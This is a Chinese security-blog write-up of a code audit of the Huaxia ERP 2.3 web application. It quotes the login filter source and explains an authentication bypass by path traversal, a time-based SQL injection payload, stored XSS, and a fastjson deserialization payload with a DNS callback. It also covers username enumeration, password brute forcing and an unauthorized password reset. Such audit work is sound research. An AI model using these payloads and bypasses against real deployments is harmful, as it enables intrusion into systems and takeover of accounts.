freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java代码审计之华夏ERP2.3
XYBTY 2023-11-01 11:24:37 335016

项目运行环境

ERP版本:jsh_ERP2.3

MYSQL:mysql-5.7.4-m14-winx64(采用压缩包的方式安装,需要在my.ini配置文件中修改编码方式)

JDK:jdk-8u161-windows-x64

MAVEN:apache-maven-3.2.3-bin

由于使用idea运行项目一直报错,所以使用maven打包的方式运行,打开cmd窗口进入项目文件夹下输入mvn clean install,打包过后会在dist文件夹下生成一个压缩包文件,解压过后运行start.bat文件就可以启动项目。

1698807292_6541bdfccbf0d71d790c3.png!small?1698807294946

1698807309_6541be0d5974b470c1910.png!small?1698807311433

用Fortify扫描一下源码。

1698807402_6541be6ae1cbbac3fe412.png!small?1698807404994

授权绕过漏洞

首先看一下filter里面的具体逻辑。1698807466_6541beaa074bd1d30e500.png!small?1698807468446

@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
#返回由/user/login    /user/registerUser    /v2/api-docs组成的字符串数组
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
#返回一个由.css  .js  .jpg  .png  .gif  .ico组成的列表
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);}}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();

#从session中获取user字段,如果不为空,则代表已登陆,调用doFilter
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}

#如果url中是包含doc.html、register.html、login.html不拦截
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;}

#通过正则表达式判断css 、js 等是否存在url中,如果存在则不拦截。
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}

allowUrls是/user/login 、/user/registerUser、/v2/api-docs,判断url是否以这些开头,如果是则不拦截

if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}}}

如果这四个条件都不满足,则重定向到login.html。

servletResponse.sendRedirect("/login.html");}
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}}
return false;
}
@Override
public void destroy() {
​}}

由以上分析可知某些url是不会拦截的,可以通过目录穿越符来绕过登录认证,如/user/login/../../

filter并没有对传入的参数进行处理,随便抓取两个接口在接口前面加上/login.html/../就可以绕过,.css/.png/.jpg/.ico同理。

1698807659_6541bf6bd021f44788293.png!small?1698807661853

1698807671_6541bf77e17ce0b5213f2.png!small?1698807674066

SQL注入

该项目使用的是Mybits的数据库,直接在*.xml文件中全局搜索 ${1698807789_6541bfed7e8a751dd9977.png!small?1698807791625

1698807797_6541bff59937872ff3b5b.png!small?1698807800008

回溯到UserMapperEx.java。

1698807819_6541c00b5c6811cf52dc8.png!small?1698807822046

继续回溯到UserService.java。

1698807849_6541c029d7fd9ea4c3cb7.png!small?1698807851955

继续回溯可以看到UserComponent.java中userName的值是从search中获取的。

1698807904_6541c0602766341479d69.png!small?1698807906254

在select方法中调用了getUserList方法。1698807946_6541c08a4039aedd45167.png!small?1698807948406

最终回溯到Controller层。1698807984_6541c0b00e16a74006d89.png!small?1698807986310

可以看到search从request中获取并且直接放入parameterMap中,然后利用select(apiName, parameterMap)函数进行查询,没有对传入的参数进行任何处理,存在SQL注入,找到该接口抓包。

1698808023_6541c0d731d731a3ba58e.png!small?1698808025284

Payload:{"userName":"","loginName":"' AND SLEEP(5)--"}

需要进过URL编码,后台出现了该SQL语句。

1698808056_6541c0f81ee55db47c6c9.png!small?1698808058129

存储型XSS

Filter 没有针对 XSS 进行过滤,所以该很多地方存在XSS漏洞,用jsh账号修改用户资料。1698808094_6541c11e3e64c16595020.png!small?1698808096410

Admin账号触发XSS。1698808110_6541c12e276011ad863ef.png!small?1698808112276

同理客户信息菜单也存在XSS漏洞。1698808152_6541c158b6f1364526173.png!small?1698808155214

fastjson反序列化

查看pom.xml文件发现fastjson版本1.2.55,该版本存在漏洞,利用DNSlog进行验证。1698808172_6541c16c36aa7c0cc0a27.png!small?1698808174269

fastjson涉及反序列化的方法有两种,JSON.parseObject()和JSON.parse(),在代码中直接搜索parseObject。1698808197_6541c185c942a6f4ccd86.png!small?1698808200019

随机选取一个。1698808217_6541c1994a134e9547955.png!small?1698808219377

对该方法进行回溯,随机选取一个判断传进去的参数是否可控。

1698808246_6541c1b62f24d5f1d578a.png!small?1698808248661

通过上面的SQL注入分析已经知道getUserList方法中的search是直接从前端传进来的,参数可控。1698808280_6541c1d89a9e1e1d9ca46.png!small?1698808282704

直接构造Payload:{"@type":"java.net.Inet4Address","val":"2czklw.dnslog.cn"}

然后在进行URL编码。1698808324_6541c204b7d2e879c5482.png!small?1698808326847

Dnslog平台已经有相应的记录。

1698808339_6541c213c1164e70898dd.png!small?1698808341831

账号枚举

当用户不存在时提示用户名不存在,可以以此来枚举用户的账号。1698808437_6541c275ea1b74ffcdf1b.png!small?1698808439933

成功爆破出用户名。

1698808454_6541c2862c9ad876ded94.png!small?1698808456448

暴力破解

找到登录接口的代码发现登录接口的代码没有做任何防暴力破解的安全措施,根据上面的账号枚举枚举出来的账号直接进行密码爆破,抓包发现密码经过MD5加密的。1698808600_6541c3181465cd33b329e.png!small?1698808602312

1698808610_6541c322aadb89dbfcb6f.png!small?1698808612800

利用burpsuite进行爆破。

1698808626_6541c3322a67c5e971853.png!small?1698808628469

成功爆破出密码。

1698808640_6541c340295a2f7a86a2a.png!small?1698808642302

越权重置密码

找到重置密码的接口。1698808656_6541c350b8e4b93c310c7.png!small?1698808658872

查看resetPwd方法具体逻辑。1698808674_6541c36201ea30205e6f0.png!small?1698808676135

从代码中可以发现resetPwd方法直接通过getUser(id)根据id从数据库中获取相关用户信息,没有校验id和当前用户的关系,存在越权漏洞。

# 渗透测试 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 XYBTY 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
XYBTY LV.2
11111
  • 3 文章数
  • 6 关注者
Java代码审计实战分享 | 一文详解RuoYi 4.2
2023-11-13
白盒审计-SQL注入
2023-10-19
文章目录